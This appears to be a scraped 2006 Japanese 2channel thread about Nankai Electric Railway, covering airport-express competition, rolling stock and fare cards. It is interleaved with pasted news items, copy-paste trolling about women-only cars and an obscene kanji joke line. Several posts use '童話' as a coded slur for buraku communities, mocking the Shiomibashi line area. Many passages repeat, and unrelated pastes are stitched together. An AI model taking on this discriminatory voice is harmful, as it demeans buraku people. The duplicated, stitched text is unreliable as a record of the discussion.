なるほど。それは難しいと思いますよ。単純に利用率が低迷している日中のラピートを空港急行に置き換えるだけだからね。
阪急のようにきれいな１０分間隔にもならないと思うし。南海にはあまり期待しないほうがいいと考えているよ。
そのなにわ筋線構想は消えたのでは？大阪市などが代替策として、四つ橋線西梅田駅から阪急十三駅まで延伸するようにしたはずです。
十三駅からは阪急宝塚線と少しの区間を併走して新大阪に向かいます。今度の新大阪駅新幹線ホーム増築でもその為のスペースは確保されています。
なお土地は阪急が所有しています。西梅田駅はかなりの大工事になるそうです。
そういや鉄道ジャーナルに、ラピートがJRの関空快速に負けているという記事があったな。
とうとう南海も終わったようだ。
とうとう南海も終わったようだ。
とうとう関空輸送でも敗れる、負け犬南海
そして、ゴネてゴネてやっと伊丹空港に規制をかけて横取りした国内線の需要を神戸空港に奪われた、負け犬泉州
完済国債空港寒災穀際喰う港姦妻酷砕腔肛
そういや来月、泉北〜大阪空港のバスが廃止になると決まったな。
このスレ的には廃止でも朗報なんやろか。泉北〜関空は、バスか、バス＋阪和線がデフォやから微妙。
このスレ的には廃止でも朗報なんやろか。泉北〜関空は、バスか、バス＋阪和線がデフォやから微妙。
71 ：名無しでGO！：2006/04/17(月) 21:00:59 ID:Tdu/BIV70
高野線は山岳区間だから都心と地方だな。それでも南海本線より乗降客が多い。
72 ：名無しでGO!：2006/04/18(火) 22:05:40 ID:ISU6yCMp0
>>66
それは関東人の投書。
それは関東人の投書。
>>72
◆Ｇよここはお前のスレではないと何度書けば判るんだ？
◆Ｇよここはお前のスレではないと何度書けば判るんだ？
74 ：名無しでGO!：2006/04/20(木) 22:07:45 ID:4is6KbUH0
関空快速にすら負けるラピート・・・
南海もうだめぽ
南海もうだめぽ
堺浜の沖合あたりに関空があったら今頃伊丹がｱﾎﾞﾝやったやろな京葉に今度入る新形式って１６ｍしかないじゃん。
南海が採用すれば山に登れるじゃん。
南海が採用すれば山に登れるじゃん。
76 ：名無しでGO!：2006/04/23(日) 18:57:10 ID:Jx+KQLvb0
例えば、東急電鉄ように、入場情報のない定期で出場しても、1ヶ月に5回までなら
児童改札が開くってところがありますが、南海はどうですか？
児童改札が開くってところがありますが、南海はどうですか？
77 ：名無しでGO！：2006/04/23(日) 22:26:55 ID:1kzlnOmR0
堺浜だったら羽衣線が乗り入れるだろな。
南海は高師浜線か。
このエリアだとJRは快速を作りにくいし、南海もそうだが距離は南海のほうが
近い。
南海は高師浜線か。
このエリアだとJRは快速を作りにくいし、南海もそうだが距離は南海のほうが
近い。
しかし南海の社員ってインサイダー好きだね
京阪もそうだけれどさすがに阪急社員はインサイダーはしない。
南海の社員は口が軽いのかケツが軽いのか・・・・
そのインサイダー社員を何とかすることが東証１部上場への第一歩だろうな
ネタに突っ込んで何だが９０００系ってさ、８両４本の無駄なしでいいじゃん。
８連の運用が南海線では限定的になるなら高野の編成と交換してもよし
京阪もそうだけれどさすがに阪急社員はインサイダーはしない。
南海の社員は口が軽いのかケツが軽いのか・・・・
そのインサイダー社員を何とかすることが東証１部上場への第一歩だろうな
ネタに突っ込んで何だが９０００系ってさ、８両４本の無駄なしでいいじゃん。
８連の運用が南海線では限定的になるなら高野の編成と交換してもよし
4連5本＋6連2本→8連4本だって・・・真性のアホちゃうかコイツ。
空港線ができたときに「なんでこんなノロノロなんじゃあ」と泉佐野進入時に思ったもんだ。
★これでも東横線の女性専用車を容認できないｷﾓｦﾀ★
http://hobby7.2ch.net/test/read.cgi/rail/1145802136/http://qb5.2ch.net/test/read.cgi/saku/1142048923/l20
http://love3.2ch.net/test/read.cgi/gender/1145803227/http://www.tokyu.co.jp/contents_index/guide/news_fram.html
http://hobby7.2ch.net/test/read.cgi/rail/1143534188/l50
東京急行電鉄（本社：東京都渋谷区、社長：越村敏昭）では、東急線沿線の生活者が持つ「情報感度が高く、ヒット商品をいち早く見極めて購入
する」という特徴をアピールすることにより、新商品のヒットを狙うためには東急線の交通広告の活用が効果的であることを積極的にＰＲしていきます。
具体的には、２００６年４月１０日（月）から東急エージェンシーが制作・発行する、東急線交通広告パンフレット「GATE KEEPER（ゲートキーパー）」を媒体資料として活用し、
広告主へのＰＲを行います。このパンフレット「GATE KEEPER」では、東急線沿線生活者の持つ、次の６つの特性を紹介しています。
（１）経済的な「ゆとり」がある。 （２）高い情報感度を持っている。
（３）成熟度の高い生活者である。 （４）新しいライフスタイルを実践している。
（５）自分自身に自信を持っている。（６）意外に堅実な側面を持っている。もう一回言う。
（１）経済的な「ゆとり」がある。 （２）高い情報感度を持っている。
（３）成熟度の高い生活者である。 （４）新しいライフスタイルを実践している。
（５）自分自身に自信を持っている。（６）意外に堅実な側面を持っている。
未だに女性専用車にキーキー言ってる馬鹿は自分をもう一度見つめ直せ！！！
東急に乗るのが嫌ならさっさと引っ越せ！沿線の民度が落ちるんだよ。wwwww
http://hobby7.2ch.net/test/read.cgi/rail/1145802136/http://qb5.2ch.net/test/read.cgi/saku/1142048923/l20
http://love3.2ch.net/test/read.cgi/gender/1145803227/http://www.tokyu.co.jp/contents_index/guide/news_fram.html
http://hobby7.2ch.net/test/read.cgi/rail/1143534188/l50
東京急行電鉄（本社：東京都渋谷区、社長：越村敏昭）では、東急線沿線の生活者が持つ「情報感度が高く、ヒット商品をいち早く見極めて購入
する」という特徴をアピールすることにより、新商品のヒットを狙うためには東急線の交通広告の活用が効果的であることを積極的にＰＲしていきます。
具体的には、２００６年４月１０日（月）から東急エージェンシーが制作・発行する、東急線交通広告パンフレット「GATE KEEPER（ゲートキーパー）」を媒体資料として活用し、
広告主へのＰＲを行います。このパンフレット「GATE KEEPER」では、東急線沿線生活者の持つ、次の６つの特性を紹介しています。
（１）経済的な「ゆとり」がある。 （２）高い情報感度を持っている。
（３）成熟度の高い生活者である。 （４）新しいライフスタイルを実践している。
（５）自分自身に自信を持っている。（６）意外に堅実な側面を持っている。もう一回言う。
（１）経済的な「ゆとり」がある。 （２）高い情報感度を持っている。
（３）成熟度の高い生活者である。 （４）新しいライフスタイルを実践している。
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未だに女性専用車にキーキー言ってる馬鹿は自分をもう一度見つめ直せ！！！
東急に乗るのが嫌ならさっさと引っ越せ！沿線の民度が落ちるんだよ。wwwww
南海が今やらなければならないことはインサイダー社員の粛清・解雇
最近スレの質が落ちすぎなので、
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誰か関空クラブカード入ったやついるのか？
南海のガンは、なんといっても汐見橋線童話対策で、赤字垂れ流しでも廃線できない
増発や増結、幅広新型車両の導入なしに、ＪＲ常磐各駅→千代田線の
女性専用車両実施を強行するとは、正直思わなかった。
輸送力がほぼ１割低下するわけだから、松戸駅以降で積み残し多数。
お客様混雑で慢性遅延拡大。１両目以外のドアが閉まるわけがない。
綾瀬駅で先行車両のドアが閉まる前に後続車両のドアが開き、
ホーム上は車両移動の大パニックが起きる予感がする。
恐らく１〜２ヶ月はＪＲ社員と警視庁の応援要請が必要になるんだろうなぁ。
けが人や急病人も増えて毎朝がお祭り騒ぎだ。
千代田線は、半蔵門線や有楽町線などとは性質が異なっていることくらい
ＪＲもメトロも知っているだろうに、どう対応するつもりなんだろう。
乱闘や暴動、死人が出てからでは遅いんだよ。
女性専用車両実施を強行するとは、正直思わなかった。
輸送力がほぼ１割低下するわけだから、松戸駅以降で積み残し多数。
お客様混雑で慢性遅延拡大。１両目以外のドアが閉まるわけがない。
綾瀬駅で先行車両のドアが閉まる前に後続車両のドアが開き、
ホーム上は車両移動の大パニックが起きる予感がする。
恐らく１〜２ヶ月はＪＲ社員と警視庁の応援要請が必要になるんだろうなぁ。
けが人や急病人も増えて毎朝がお祭り騒ぎだ。
千代田線は、半蔵門線や有楽町線などとは性質が異なっていることくらい
ＪＲもメトロも知っているだろうに、どう対応するつもりなんだろう。
乱闘や暴動、死人が出てからでは遅いんだよ。
87 ：名無しでGO!：2006/05/02(火) 18:02:01 ID:L4oaqZcdO
「引越し厨」とは、
南海に対する批判や否定から逃げるための
南海ヲタによる 捏 造 です。
したがって
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南海に対する批判や否定から逃げるための
南海ヲタによる 捏 造 です。
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89 ：引越厨、は南海ヲタの捏造：2006/05/04(木) 19:40:51 ID:FldAf5aJ0
>>59批判逃れの糞レス乙
とっとと消えろ
とっとと消えろ
引っ越し厨は、カキコした内容が図星の場合にレスを引っ越すので、わかりやすいなw
阪急は製造３５年〜４０年になる５０００系、３３００系を見た限りあと２０
年は使うだろうほどの念入りな更新を施行された。
これは腐食や金属疲労、機器故障等がない限り再更新・５０〜６０年使用も可
能ということを意味しているのだろう。
となると南海も７０００系、６０００系等も再更新・延命の可能性があるわけ
で費用対効果で延命が得か廃車・代替が得かがそろばんで判断されるのだろう。
まあ、南海は東急車輛から車両供給を受けてるわけだし更新対象は１００〜２
００両の単位で発生することを考えると同社から同社とＪＲ−Ｅが考案した低
コスト新車両導入もありかと。さてさて、南海はどんな結論を出すんやら。
話は変わるが先ごろ還暦を迎えた京阪１９００系がその任務を終えたほどで関
西の私鉄は全体的の車両は長寿の傾向にある。
南海も６０００系については恐らく還暦まで現役で活躍されるだろう。
車両をどうやって今風にあわせながら延命させるのかその動きも楽しみではある。
年は使うだろうほどの念入りな更新を施行された。
これは腐食や金属疲労、機器故障等がない限り再更新・５０〜６０年使用も可
能ということを意味しているのだろう。
となると南海も７０００系、６０００系等も再更新・延命の可能性があるわけ
で費用対効果で延命が得か廃車・代替が得かがそろばんで判断されるのだろう。
まあ、南海は東急車輛から車両供給を受けてるわけだし更新対象は１００〜２
００両の単位で発生することを考えると同社から同社とＪＲ−Ｅが考案した低
コスト新車両導入もありかと。さてさて、南海はどんな結論を出すんやら。
話は変わるが先ごろ還暦を迎えた京阪１９００系がその任務を終えたほどで関
西の私鉄は全体的の車両は長寿の傾向にある。
南海も６０００系については恐らく還暦まで現役で活躍されるだろう。
車両をどうやって今風にあわせながら延命させるのかその動きも楽しみではある。
唐突だが、先日家内が中百舌鳥付近で１００００系らしき車両を見たと言うが何か団臨が走ったか？
今は１１０００系は塗装を変更されているので見間違えはないと思うけど。
PiTaPa導入まで２ヶ月を切った。改札機の整備は春頃より停滞気味で、少ない対応機での導入になりそう。
ICOCAの利用者向けに、券売機と清算機のチャージ対応で一段落。
業界も新化するもので、もう次の世代の改札システムの試作も始まっているけど。
施設の入場者管理用では生態認証の「顔パス」も目処が立っていてデモもしているから、いずれ事前登録を済ませば手ぶらで改札を通る時代が来るかも。
今は１１０００系は塗装を変更されているので見間違えはないと思うけど。
PiTaPa導入まで２ヶ月を切った。改札機の整備は春頃より停滞気味で、少ない対応機での導入になりそう。
ICOCAの利用者向けに、券売機と清算機のチャージ対応で一段落。
業界も新化するもので、もう次の世代の改札システムの試作も始まっているけど。
施設の入場者管理用では生態認証の「顔パス」も目処が立っていてデモもしているから、いずれ事前登録を済ませば手ぶらで改札を通る時代が来るかも。
汐見橋線は日本じゃないからなぁ童話の国だし。
他スレでこんなの発見108 ：名無し野電車区 ：2006/05/05(金) 01:13:33 ID:17TrB2Ex
>>91
京阪が反対したのはそのため。
アンスリーを中核として、阪神・京阪・南海の3社合併を目指した。
（南海の救済、という意味合いもあったが）
近鉄は、阪神解体時に鉄道部門を安く買い受けられることができるから。
>>91
京阪が反対したのはそのため。
アンスリーを中核として、阪神・京阪・南海の3社合併を目指した。
（南海の救済、という意味合いもあったが）
近鉄は、阪神解体時に鉄道部門を安く買い受けられることができるから。
その童話利権にいまだに振り回され続けている南海沿線と大阪市役所芦原病院へ不正補助金４億８９００万円 大阪市歴代課長が虚偽報告書
被差別部落の医療向上を目的に設立され、民事再生手続き中の浪速医療生活協同組合「芦原病院」（大阪市浪速区、別法人に事業譲渡）に対し、
大阪市が平成十四−十六年度に備品、工事補助金と偽って四億八千九百万円を不正支出し、病院側が別用途に流用していたことが二十八日、
市が設けた芦原病院調査委員会の調べでわかった。市の歴代担当課長が、虚偽の補助金清算報告書を長年にわたって病院に代わって作成していたことも判明。
不正支出額はさらに膨らむ可能性が高い。同日、市が市議会の民生保健委員協議会で報告。また、自身も環境保健局長時代に補助金支出にかかわっていた関淳一市長は、「不適切な
清算処理として、深く反省しなければならない」として、過去五年分の補助金について特別監査請求した。調査は、市議会で共産市議が不正支出疑惑を指摘したことを受け三月末から開始。
同和対策事業を盛り込んだ地域改善対策財政特別措置法が失効した十四年度以降の補助に絞って書類分析や担当者からの聞き取りを行った。
その結果、三年間に支出された備品、工事補助金計四億八千九百万円のすべてが、補助金申請書や清算報告書通りに使われていなかったことが判明。
病院が保管していた総勘定元帳には、別の医療品購入や改修工事などの記録が残っていたが、総額で約一億七千万円にとどまり、三億一千八百万円
あまりの差額の使途は不明になっていた。調査委は「金融機関からの短期融資の返済や、手形の決済などのために、これらの差額を運転資金として流用していたのでは」と推測している。
さらに本来、病院側が作成すべき清算報告書を市の担当課長が代わって作成することが、長年の慣例になっていたことも判明。病院は報告書の
一枚目に押印するだけで、内容については把握しておらず、市は申請書や報告書通りの備品購入や工事が行われたか、一切確認していなかった。
被差別部落の医療向上を目的に設立され、民事再生手続き中の浪速医療生活協同組合「芦原病院」（大阪市浪速区、別法人に事業譲渡）に対し、
大阪市が平成十四−十六年度に備品、工事補助金と偽って四億八千九百万円を不正支出し、病院側が別用途に流用していたことが二十八日、
市が設けた芦原病院調査委員会の調べでわかった。市の歴代担当課長が、虚偽の補助金清算報告書を長年にわたって病院に代わって作成していたことも判明。
不正支出額はさらに膨らむ可能性が高い。同日、市が市議会の民生保健委員協議会で報告。また、自身も環境保健局長時代に補助金支出にかかわっていた関淳一市長は、「不適切な
清算処理として、深く反省しなければならない」として、過去五年分の補助金について特別監査請求した。調査は、市議会で共産市議が不正支出疑惑を指摘したことを受け三月末から開始。
同和対策事業を盛り込んだ地域改善対策財政特別措置法が失効した十四年度以降の補助に絞って書類分析や担当者からの聞き取りを行った。
その結果、三年間に支出された備品、工事補助金計四億八千九百万円のすべてが、補助金申請書や清算報告書通りに使われていなかったことが判明。
病院が保管していた総勘定元帳には、別の医療品購入や改修工事などの記録が残っていたが、総額で約一億七千万円にとどまり、三億一千八百万円
あまりの差額の使途は不明になっていた。調査委は「金融機関からの短期融資の返済や、手形の決済などのために、これらの差額を運転資金として流用していたのでは」と推測している。
さらに本来、病院側が作成すべき清算報告書を市の担当課長が代わって作成することが、長年の慣例になっていたことも判明。病院は報告書の
一枚目に押印するだけで、内容については把握しておらず、市は申請書や報告書通りの備品購入や工事が行われたか、一切確認していなかった。
市側は、月一回開かれる病院の予算委員会の定例会議にも出席。これらの補助金が、運転資金などに流用されていた実態を知りながら、補助金が
申請通りに使われていたとする虚偽の報告書を作り、補助金を不正支出していたとみられる。
同病院に対し市は、昭和四十三年度から平成十七年度までに、建設や備品購入、工事、運営などに対する補助金計百九十億円を支出。さらに補助金で
賄えない不足分を補うために貸し付けた計百三十億円の焦げつきが問題化している。
【視点】同和行政タブーの清算を本来、補助金を申請する側の民間病院の申請書を大阪市の歴代担当者が作成し、巨額の補助金を不正に支出、病院の運転資金と
して流用させる−。外部委員による一カ月足らずの調査で浮かび上がったのは、病院存続を最優先にした異様ともいえる役所ぐるみの優遇慣行だった。
平成十三年度末に地域改善対策財政特別措置法が失効し、名目上、同和対策事業は終了したはずだが、同法の下でも補助金の流用が許されないことはいうまでもない。
「事実上の優遇政策ととらえなければありえない支援…」。職員厚遇問題とは異なる大阪市の“暗部”に市幹部は表情を曇らせる。
こうした慣行は長年にわたって申し送られ、幹部も容認、担当者が不正行為に異議を唱える余地はなかったとすれば、それは同和行政のゆがみとしかいいようがない。
局長時代に補助金支出を決裁した関淳一市長も「責任は免れ得ない。やるべき見直しができていなかった」と反省。外部委員会の
調査に加えて、市長自身による異例の特別監査請求を決断した。
申請通りに使われていたとする虚偽の報告書を作り、補助金を不正支出していたとみられる。
同病院に対し市は、昭和四十三年度から平成十七年度までに、建設や備品購入、工事、運営などに対する補助金計百九十億円を支出。さらに補助金で
賄えない不足分を補うために貸し付けた計百三十億円の焦げつきが問題化している。
【視点】同和行政タブーの清算を本来、補助金を申請する側の民間病院の申請書を大阪市の歴代担当者が作成し、巨額の補助金を不正に支出、病院の運転資金と
して流用させる−。外部委員による一カ月足らずの調査で浮かび上がったのは、病院存続を最優先にした異様ともいえる役所ぐるみの優遇慣行だった。
平成十三年度末に地域改善対策財政特別措置法が失効し、名目上、同和対策事業は終了したはずだが、同法の下でも補助金の流用が許されないことはいうまでもない。
「事実上の優遇政策ととらえなければありえない支援…」。職員厚遇問題とは異なる大阪市の“暗部”に市幹部は表情を曇らせる。
こうした慣行は長年にわたって申し送られ、幹部も容認、担当者が不正行為に異議を唱える余地はなかったとすれば、それは同和行政のゆがみとしかいいようがない。
局長時代に補助金支出を決裁した関淳一市長も「責任は免れ得ない。やるべき見直しができていなかった」と反省。外部委員会の
調査に加えて、市長自身による異例の特別監査請求を決断した。
芦原病院問題だけでない。談合事件にも発展した大阪府同和建設協会所属業者への優先発注問題などは、長年にわたる同和行政の
副産物ともいえる癒着やひずみの一端だ。「同和対策事業は終わっても差別は残っている。不正だけに焦点を当てることは差別を助長する」。そんな声も根強い。確かに
芦原病院にも、劣悪だった被差別部落の生活立て直しを医療面で支えたという歴史的な意義があった。
しかし、差別の解消と、不正行為の根絶は、はっきり分けて考えるべきだ。市はなお残る「同和行政のタブー」を自ら明るみに出し、
公正な手続きで清算する作業と、不正防止の仕組みを確立することが必要だ。末端の職員に責任を押し付けるだけで済まされる問題ではない。（山口敦）
【2006/04/28 大阪夕刊から】ソース ttp://www.sankei.co.jp/news/060428/sha129.htm
何だこりゃ？草加的とは、こりゃまたやり方がひどいな「引越し厨」は南海ヲタの捏造59:04/14(金) 21:02 MVDWIKZ/0 [sage]58コピペ荒らしの引越厨にレスをしないで下さい。
スレ正常化のためにもご協力お願いします。南海ヲタがよく口にする「引越し厨」は実は批判や否定から逃れるための南海ヲタの捏造であることが分かった
関西の鉄道でますます孤立する南海と、創価学会まがいの批判封じを行う南海ヲタを厳しく批判しよう！！
ttp://hobby7.2ch.net/test/read.cgi/rail/1135781773/444
副産物ともいえる癒着やひずみの一端だ。「同和対策事業は終わっても差別は残っている。不正だけに焦点を当てることは差別を助長する」。そんな声も根強い。確かに
芦原病院にも、劣悪だった被差別部落の生活立て直しを医療面で支えたという歴史的な意義があった。
しかし、差別の解消と、不正行為の根絶は、はっきり分けて考えるべきだ。市はなお残る「同和行政のタブー」を自ら明るみに出し、
公正な手続きで清算する作業と、不正防止の仕組みを確立することが必要だ。末端の職員に責任を押し付けるだけで済まされる問題ではない。（山口敦）
【2006/04/28 大阪夕刊から】ソース ttp://www.sankei.co.jp/news/060428/sha129.htm
何だこりゃ？草加的とは、こりゃまたやり方がひどいな「引越し厨」は南海ヲタの捏造59:04/14(金) 21:02 MVDWIKZ/0 [sage]58コピペ荒らしの引越厨にレスをしないで下さい。
スレ正常化のためにもご協力お願いします。南海ヲタがよく口にする「引越し厨」は実は批判や否定から逃れるための南海ヲタの捏造であることが分かった
関西の鉄道でますます孤立する南海と、創価学会まがいの批判封じを行う南海ヲタを厳しく批判しよう！！
ttp://hobby7.2ch.net/test/read.cgi/rail/1135781773/444
マジレスしてやれば高石市の商業的マーケティングは流通系はかなり注目してて
ヨーカ堂もイオンも調査してるよ出れるなら出たいのが本音
現に現オークワ羽衣店（新東洋跡）はイオンが諏訪ノ森店代替店舗で検討してたらしいよ。
潰れたの高石駅前っしょ。そら、素人が考えたってあそこじゃダメじゃん。
クルマ乗って高石の西友って行くかあ・・・クルマ乗れば堺のヨーカ堂まで行くのが今の高石市民の行動パターン
マジレスすればサザン１時間２本パターンになった現ダイヤでは廃車編成を出せる環境にないっしょ。
それとも５００００系を２+４分割しまっか？ラピート難波方４両に一般車４両つけてこれはなんば〜関空
和歌山方２両になんば方に一般車６両つけてこれはなんば〜和歌山港こうすれあ心置きなく１００００系を廃車できるぞ。
ちゅ〜よりなんで７１００系１次車の廃車台車使わんねん？ ６３００系の一部は７１００系のＭ車台車をＭ車として転用してるよ。
新品同様に改造はしたようだが改造なしの転用はＭ車、Ｔ車→Ｔ車だが
ヨーカ堂もイオンも調査してるよ出れるなら出たいのが本音
現に現オークワ羽衣店（新東洋跡）はイオンが諏訪ノ森店代替店舗で検討してたらしいよ。
潰れたの高石駅前っしょ。そら、素人が考えたってあそこじゃダメじゃん。
クルマ乗って高石の西友って行くかあ・・・クルマ乗れば堺のヨーカ堂まで行くのが今の高石市民の行動パターン
マジレスすればサザン１時間２本パターンになった現ダイヤでは廃車編成を出せる環境にないっしょ。
それとも５００００系を２+４分割しまっか？ラピート難波方４両に一般車４両つけてこれはなんば〜関空
和歌山方２両になんば方に一般車６両つけてこれはなんば〜和歌山港こうすれあ心置きなく１００００系を廃車できるぞ。
ちゅ〜よりなんで７１００系１次車の廃車台車使わんねん？ ６３００系の一部は７１００系のＭ車台車をＭ車として転用してるよ。
新品同様に改造はしたようだが改造なしの転用はＭ車、Ｔ車→Ｔ車だが
意匠権って何年で消滅時効にかかるんだ？
薬だって１０年かそこらだから今ジェネリックやらが流行ってるんだろう
薬だって１０年かそこらだから今ジェネリックやらが流行ってるんだろう
新スレ【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
新スレ【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
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新スレ【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
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南海は経営難南海は経営難◇◆◇◆◇ 南海電鉄が申告漏れ ３年間で３億５０００万円（共同通信） ◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を
含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
重複【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
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南海は経営難南海は経営難◇◆◇◆◇ 南海電鉄が申告漏れ ３年間で３億５０００万円（共同通信） ◇◆◇◆◇
南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の
申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を
含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。
しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして
重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。
不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html
重複【阪和線に】南海電気鉄道スレッドNa70【KO寸前】http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
重複【阪和線に】南海電気鉄道スレッドNa70【KO寸前】
http://hobby7.2ch.net/test/read.cgi/rail/1146742537/
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◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、
子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、
男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、
大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、
飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。
ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、
子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。
男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、
男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。
ソース：朝日新聞２月28日付朝刊35頁社会面南海電鉄 アスベストむき出しアスベストによる健康被害が広がる中、
大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているのに、
飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。
ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html
文化的なこと”も法律では意匠権として確立され、それは有限なものなのだが・・
それは経済合理性にも勝るのか？
それは経済合理性にも勝るのか？
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。
各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕--------------------------------------------------------------------------------
大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
